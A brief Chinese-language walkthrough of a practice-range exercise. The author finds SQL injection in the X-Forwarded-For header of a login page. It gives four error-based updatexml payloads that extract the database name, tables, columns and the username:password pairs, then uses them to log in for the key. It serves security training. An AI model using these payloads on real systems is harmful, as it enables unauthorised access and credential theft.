使用靶场来进行演示。
访问靶场后看到的是一个常见的后台的登录框,第一步肯定是先试一下看看有没有弱口令咯,试了几个发现并不存在弱口令,但是发现网站有一串乱码的弹窗如下
虽然是乱码,但是看到里面有ip,头发短见识多得我就想到了这大概率是记录下了我本机的ip(这里的ip是开了隧道的不是我的哦~)让我们来抓包看一下
这里可以看到转编码之后确实是记录了我的ip,但是在请求包中没有发现xff头,就很奇怪,自己加上。
发现xff头的内容是可以随便控制的,下面可以看到输入单引号是报错的,那就直接尝试报错注入
获取到数据库名称
',updatexml(1,concat(0x7e,(select database()),0x7e),1))#
获取到表名
' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='webcalendar'),0x7e),1))#
获取到字段名
' or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='user'),0x7e),1))#
最后获取到数据是账号和密码
' or updatexml(1,concat(0x7e,(select group_concat(username,':',password)from user limit 0,1),0x7e),1))#
拿着获取到的账号密码返回登录框进行登录获取到key
不要一味局限于使用工具...